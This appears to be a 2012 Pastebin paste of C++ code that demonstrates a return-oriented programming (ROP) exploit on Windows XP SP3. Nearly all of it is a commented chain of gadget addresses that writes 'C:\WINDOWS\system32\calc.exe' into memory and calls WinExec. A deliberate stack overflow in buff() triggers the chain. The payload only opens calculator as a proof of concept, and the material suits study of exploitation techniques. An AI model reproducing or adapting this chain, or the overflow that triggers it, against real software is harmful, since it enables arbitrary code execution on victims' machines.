emS-St1ks

win32/xp sp3 - calc shellcode

Nov 16th, 2012
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.36 KB | None | 0 0
  1. #include <iostream>
  2. #include "windows.h"
  3.  
  4. char shellcode[]=
  5. "\xb1\x4f\x97\x7c"  // POP ECX # RETN
  6. "\xf9\x10\x47\x7e"  // Writable PTR USER32.dll
  7. "\x27\xfa\x87\x7c"  // POP EDX # POP EAX # RETN
  8. "\x43\x3a\x5c\x57"  // ASCII "C:\W"
  9. "\x49\x4e\x44\x4f"  // ASCII "INDO"
  10. "\x04\x18\x80\x7c"  // MOV DWORD PTR DS:[ECX],EDX # MOV DWORD PTR DS:[ECX+4],EAX # POP EBP # RETN 04
  11. "\x8a\x20\x87\x7c"  // Compensate POP
  12. "\x8a\x20\x87\x7c"  // Compensate RETN
  13. "\x8a\x20\x87\x7c"  // Compensate RETN
  14. "\xe5\x02\x88\x7c"  // POP EAX # RETN
  15. "\x57\x53\x5c\x73"  // ASCII "WS\s"
  16. "\x38\xd6\x46\x7e"  // MOV DWORD PTR DS:[ECX+8],EAX # POP ESI # POP EBP # RETN 08
  17. "\x8a\x20\x87\x7c"  // Compensate POP
  18. "\x8a\x20\x87\x7c"  // Compensate POP
  19. "\x8a\x20\x87\x7c"  // Compensate RETN
  20. "\x8a\x20\x87\x7c"  // Compensate RETN
  21. "\x8a\x20\x87\x7c"  // Compensate RETN
  22. "\xe5\x02\x88\x7c"  // POP EAX # RETN
  23. "\x79\x73\x74\x65"  // ASCII "yste"
  24. "\xcb\xbe\x45\x7e"  // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08
  25. "\x8a\x20\x87\x7c"  // Compensate POP
  26. "\x8a\x20\x87\x7c"  // Compensate POP
  27. "\x8a\x20\x87\x7c"  // Compensate RETN
  28. "\x8a\x20\x87\x7c"  // Compensate RETN
  29. "\x8a\x20\x87\x7c"  // Compensate RETN
  30. "\xe5\x02\x88\x7c"  // POP EAX # RETN
  31. "\x63\x61\x6c\x63"  // ASCII "calc"
  32. "\x31\xa9\x91\x7c"  // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
  33. "\x8a\x20\x87\x7c"  // Compensate POP
  34. "\x8a\x20\x87\x7c"  // Compensate RETN
  35. "\x8a\x20\x87\x7c"  // Compensate RETN
  36. "\x8a\x20\x87\x7c"  // Compensate RETN
  37. "\x07\x3d\x96\x7c"  // INC ECX # RETN
  38. "\x07\x3d\x96\x7c"  // INC ECX # RETN
  39. "\x07\x3d\x96\x7c"  // INC ECX # RETN
  40. "\x07\x3d\x96\x7c"  // INC ECX # RETN
  41. "\xe5\x02\x88\x7c"  // POP EAX # RETN
  42. "\x6d\x33\x32\x5c"  // ASCII "m32\"
  43. "\xcb\xbe\x45\x7e"  // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08
  44. "\x8a\x20\x87\x7c"  // Compensate POP
  45. "\x8a\x20\x87\x7c"  // Compensate POP
  46. "\x8a\x20\x87\x7c"  // Compensate RETN
  47. "\x8a\x20\x87\x7c"  // Compensate RETN
  48. "\x8a\x20\x87\x7c"  // Compensate RETN
  49. "\xe5\x02\x88\x7c"  // POP EAX # RETN
  50. "\x2e\x65\x78\x65"  // ASCII ".exe"
  51. "\x31\xa9\x91\x7c"  // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
  52. "\x8a\x20\x87\x7c"  // Compensate POP
  53. "\x8a\x20\x87\x7c"  // Compensate RETN
  54. "\x8a\x20\x87\x7c"  // Compensate RETN
  55. "\x8a\x20\x87\x7c"  // Compensate RETN
  56. "\x07\x3d\x96\x7c"  // INC ECX # RETN
  57. "\x07\x3d\x96\x7c"  // INC ECX # RETN
  58. "\x07\x3d\x96\x7c"  // INC ECX # RETN
  59. "\x07\x3d\x96\x7c"  // INC ECX # RETN
  60. "\x9e\x2e\x92\x7c"  // XOR EAX,EAX # RETN
  61. "\x31\xa9\x91\x7c"  // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
  62. "\x8a\x20\x87\x7c"  // Compensate POP
  63. "\x8a\x20\x87\x7c"  // Compensate RETN
  64. "\x8a\x20\x87\x7c"  // Compensate RETN
  65. "\x8a\x20\x87\x7c"  // Compensate RETN
  66. "\xee\x4c\x97\x7c"  // DEC ECX # RETN
  67. "\xee\x4c\x97\x7c"  // DEC ECX # RETN
  68. "\xee\x4c\x97\x7c"  // DEC ECX # RETN
  69. "\xee\x4c\x97\x7c"  // DEC ECX # RETN
  70. "\xee\x4c\x97\x7c"  // DEC ECX # RETN
  71. "\xee\x4c\x97\x7c"  // DEC ECX # RETN
  72. "\xee\x4c\x97\x7c"  // DEC ECX # RETN
  73. "\xee\x4c\x97\x7c"  // DEC ECX # RETN
  74. //-------------------------------------------["C:\WINDOWS\system32\calc.exe+00000000" -> ecx]-//
  75. "\xe5\x02\x88\x7c"  // POP EAX # RETN
  76. "\x7a\xeb\xc3\x6f"  // Should result in a valid PTR in kernel32.dll
  77. "\x4f\xda\x85\x7c"  // PUSH ESP # ADC BYTE PTR DS:[EAX+CC4837C],AL # XOR EAX,EAX # INC EAX # POP EDI # POP EBP # RETN 08
  78. "\x8a\x20\x87\x7c"  // Compensate POP
  79. "\x8a\x20\x87\x7c"  // Compensate RETN
  80. "\x8a\x20\x87\x7c"  // Compensate RETN
  81. "\x8a\x20\x87\x7c"  // Compensate RETN
  82. "\x32\xd9\x44\x7e"  // XCHG EAX,EDI # RETN
  83. "\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
  84. "\x8a\x20\x87\x7c"  // Compensate POP
  85. "\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
  86. "\x8a\x20\x87\x7c"  // Compensate POP
  87. "\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
  88. "\x8a\x20\x87\x7c"  // Compensate POP
  89. "\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
  90. "\x8a\x20\x87\x7c"  // Compensate POP
  91. //-----------------------------------------------------------[Save Stack Pointer + pivot eax]-//
  92. "\xd6\xd1\x95\x7c"  // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04
  93. "\x8a\x20\x87\x7c"  // Compensate POP
  94. "\x8a\x20\x87\x7c"  // Compensate RETN
  95. "\x8a\x20\x87\x7c"  // Compensate RETN
  96. "\x33\x80\x97\x7c"  // INC EAX # RETN
  97. "\x33\x80\x97\x7c"  // INC EAX # RETN
  98. "\x33\x80\x97\x7c"  // INC EAX # RETN
  99. "\x33\x80\x97\x7c"  // INC EAX # RETN
  100. "\xf5\xd6\x91\x7c"  // XOR ECX,ECX # RETN
  101. "\x07\x3d\x96\x7c"  // INC ECX # RETN
  102. "\xd6\xd1\x95\x7c"  // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04
  103. "\x8a\x20\x87\x7c"  // Compensate POP
  104. "\x8a\x20\x87\x7c"  // Compensate RETN
  105. "\x8a\x20\x87\x7c"  // Compensate RETN
  106. "\xb1\x4f\x97\x7c"  // POP ECX # RETN
  107. "\xed\x2a\x86\x7c"  // WinExec()
  108. "\xe7\xc1\x87\x7c"  // MOV DWORD PTR DS:[EAX+4],ECX # XOR EAX,EAX # POP EBP # RETN 04
  109. "\x8a\x20\x87\x7c"  // Compensate POP
  110. "\x8a\x20\x87\x7c"  // Compensate RETN
  111. "\x8a\x20\x87\x7c"  // Compensate RETN
  112. "\x8a\x20\x87\x7c"  // Final RETN for WinExec()
  113. "\x8a\x20\x87\x7c"; // Compensate WinExec()
  114. //------------------------------------------------------[Write Arguments and execute -> calc]-//
  115.  
  116. void buff() {
  117. char a;
  118. memcpy((&a)+5, shellcode, sizeof(shellcode)); // Compiler dependent, works with Dev-C++ 4.9
  119. }
  120.  
  121. int main()
  122. {
  123. LoadLibrary("USER32.dll"); // we need this dll
  124. char buf[1024];
  125. buff();
  126. return 0;
  127. }
Advertisement
Add Comment
Please, Sign In to add comment